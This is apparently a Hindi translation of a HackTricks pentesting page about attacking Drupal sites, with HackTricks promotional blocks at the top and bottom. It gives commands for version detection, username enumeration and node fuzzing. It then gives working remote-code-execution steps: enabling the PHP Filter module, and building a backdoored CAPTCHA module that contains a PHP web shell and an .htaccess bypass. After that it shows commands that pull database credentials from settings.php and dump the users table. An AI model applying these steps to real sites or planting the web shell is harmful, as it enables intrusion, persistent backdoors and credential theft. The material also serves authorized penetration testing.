14 KiB
Drupal
AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!
HackTricks का समर्थन करने के अन्य तरीके:
- यदि आप चाहते हैं कि आपकी कंपनी का विज्ञापन HackTricks में दिखाई दे या HackTricks को PDF में डाउनलोड करें, तो सब्सक्रिप्शन प्लान्स देखें!
- आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें
- The PEASS Family की खोज करें, हमारा विशेष NFTs संग्रह
- 💬 Discord समूह में शामिल हों या telegram समूह में या Twitter 🐦 पर मुझे फॉलो करें @carlospolopm.
- अपनी हैकिंग ट्रिक्स साझा करें, HackTricks HackTricks और HackTricks Cloud github repos में PRs सबमिट करके.
खोज
- मेटा की जांच करें
curl https://www.drupal.org/ | grep 'content="Drupal'
- Node: Drupal अपनी सामग्री को नोड्स का उपयोग करके इंडेक्स करता है। एक नोड कुछ भी रख सकता है जैसे कि ब्लॉग पोस्ट, पोल, लेख, आदि। पेज URIs आमतौर पर
/node/<nodeid>
के रूप में होते हैं।
curl drupal-site.com/node/1
परिगणना
Drupal मूल रूप से तीन प्रकार के उपयोगकर्ता का समर्थन करता है:
Administrator
: इस उपयोगकर्ता के पास Drupal वेबसाइट पर पूर्ण नियंत्रण होता है।Authenticated User
: ये उपयोगकर्ता वेबसाइट में लॉग इन कर सकते हैं और अपनी अनुमतियों के आधार पर लेख जोड़ने और संपादित करने जैसे कार्य कर सकते हैं।Anonymous
: सभी वेबसाइट आगंतुकों को अनाम के रूप में नामित किया जाता है। मूल रूप से, इन उपयोगकर्ताओं को केवल पोस्ट पढ़ने की अनुमति होती है।
संस्करण
/CHANGELOG.txt
की जाँच करें
curl -s http://drupal-site.local/CHANGELOG.txt | grep -m2 ""
Drupal 7.57, 2018-02-21
{% hint style="info" %}
Drupal की नई स्थापनाएँ डिफ़ॉल्ट रूप से CHANGELOG.txt
और README.txt
फ़ाइलों तक पहुँच को अवरुद्ध करती हैं।
{% endhint %}
यूजरनेम अनुमान
रजिस्टर
/user/register में बस एक यूजरनेम बनाने की कोशिश करें और अगर नाम पहले से लिया गया है तो इसकी सूचना दी जाएगी:
नया पासवर्ड अनुरोध
अगर आप मौजूदा यूजरनेम के लिए नया पासवर्ड अनुरोध करते हैं:
अगर आप गैर-मौजूदा यूजरनेम के लिए नया पासवर्ड अनुरोध करते हैं:
यूजर्स की संख्या प्राप्त करें
/user/<number> तक पहुँचकर आप मौजूदा यूजर्स की संख्या देख सकते हैं, इस मामले में 2 है क्योंकि /users/3 एक नहीं मिला त्रुटि देता है:
छिपे हुए पेज
/node/$
को Fuzz करें जहाँ $
एक संख्या है (उदाहरण के लिए 1 से 500 तक)।
आप छिपे हुए पेज (टेस्ट, डेव) पा सकते हैं जो सर्च इंजनों द्वारा संदर्भित नहीं किए जाते हैं।
स्थापित मॉड्यूल की जानकारी
#From https://twitter.com/intigriti/status/1439192489093644292/photo/1
#Get info on installed modules
curl https://example.com/config/sync/core.extension.yml
curl https://example.com/core/core.services.yml
# Download content from files exposed in the previous step
curl https://example.com/config/sync/swiftmailer.transport.yml
स्वचालित
droopescan scan drupal -u http://drupal-site.local
RCE
PHP Filter Module के साथ
{% hint style="warning" %}
Drupal के पुराने संस्करणों में (संस्करण 8 से पहले), एक व्यवस्थापक के रूप में लॉग इन करना और PHP filter
मॉड्यूल को सक्षम करना संभव था, जो "PHP कोड/स्निपेट्स का मूल्यांकन करने की अनुमति देता है।"
{% endhint %}
आपको plugin php का इंस्टॉल होना आवश्यक है (इसे /modules/php पर जाकर जांचें और यदि यह 403 लौटाता है, तो, मौजूद है, यदि नहीं मिला, तो plugin php इंस्टॉल नहीं है)
Modules पर जाएं -> (जांचें) PHP Filter -> Save configuration
फिर Add content पर क्लिक करें -> Basic Page या Article चुनें -> php shellcode को body में लिखें -> Text format में PHP code चुनें -> Preview चुनें
अंत में बस नए बनाए गए नोड को एक्सेस करें:
curl http://drupal-site.local/node/3
PHP Filter Module स्थापित करें
संस्करण 8 के बाद से, PHP Filter मॉड्यूल डिफ़ॉल्ट रूप से स्थापित नहीं होता है। इस कार्यक्षमता का उपयोग करने के लिए, हमें मॉड्यूल को स्वयं स्थापित करना होगा।
- Drupal वेबसाइट से मॉड्यूल का सबसे हाल का संस्करण डाउनलोड करें।
- wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
- डाउनलोड हो जाने के बाद
Administration
>Reports
>Available updates
पर जाएं। Browse
पर क्लिक करें, फिर डाउनलोड की गई डायरेक्टरी से फाइल का चयन करें और फिरInstall
पर क्लिक करें।- मॉड्यूल स्थापित हो जाने के बाद, हम
Content
पर क्लिक कर सकते हैं और नया बेसिक पेज बना सकते हैं, जैसा कि हमने Drupal 7 के उदाहरण में किया था। फिर से, सुनिश्चित करें किText format
ड्रॉपडाउन सेPHP code
का चयन करें।
Backdoored Module
एक backdoored मॉड्यूल मौजूदा मॉड्यूल में एक शेल जोड़कर बनाया जा सकता है। मॉड्यूल्स drupal.org वेबसाइट पर पाए जा सकते हैं। चलिए CAPTCHA जैसे मॉड्यूल को चुनते हैं। नीचे स्क्रॉल करें और tar.gz archive के लिंक को कॉपी करें।
- आर्काइव को डाउनलोड करें और इसकी सामग्री को निकालें।
wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
- PHP वेब शेल बनाएं जिसकी सामग्री हो:
<?php
system($_GET["cmd"]);
?>
- अगला, हमें खुद को फोल्डर तक पहुँच प्रदान करने के लिए एक
.htaccess
फाइल बनाने की आवश्यकता है। यह जरूरी है क्योंकि Drupal सीधे/modules
फोल्डर तक पहुँच को मना करता है।
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>
- ऊपर दिया गया कॉन्फ़िगरेशन / फ़ोल्डर के लिए नियम लागू करेगा जब हम /modules में किसी फ़ाइल का अनुरोध करते हैं। इन दोनों फ़ाइलों को captcha फ़ोल्डर में कॉपी करें और एक आर्काइव बनाएं।
mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
- मान लीजिए हमारे पास वेबसाइट का प्रशासनिक पहुँच है,
प्रबंधन
पर क्लिक करें और फिर साइडबार परविस्तार
पर क्लिक करें। अगला,+ नया मॉड्यूल स्थापित करें
बटन पर क्लिक करें, और हमें स्थापना पृष्ठ पर ले जाया जाएगा, जैसे किhttp://drupal-site.local/admin/modules/install
बैकडोर्ड कैप्चा आर्काइव को ब्राउज़ करें औरस्थापित करें
पर क्लिक करें। - स्थापना सफल होने के बाद,
/modules/captcha/shell.php
पर ब्राउज़ करें ताकि आदेशों को निष्पादित किया जा सके।
पोस्ट एक्सप्लॉइटेशन
settings.php पढ़ें
find / -name settings.php -exec grep "drupal_hash_salt\|'database'\|'username'\|'password'\|'host'\|'port'\|'driver'\|'prefix'" {} \; 2>/dev/null
डीबी से उपयोगकर्ताओं की जानकारी निकालना
mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from users'
संदर्भ
AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!
HackTricks का समर्थन करने के अन्य तरीके:
- यदि आप चाहते हैं कि आपकी कंपनी का विज्ञापन HackTricks में दिखाई दे या HackTricks को PDF में डाउनलोड करें तो सदस्यता योजनाएँ देखें!
- आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें
- The PEASS Family की खोज करें, हमारा विशेष NFTs संग्रह
- 💬 Discord समूह में शामिल हों या telegram समूह में या Twitter 🐦 पर मुझे फॉलो करें @carlospolopm.
- HackTricks के github repos और HackTricks Cloud में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें.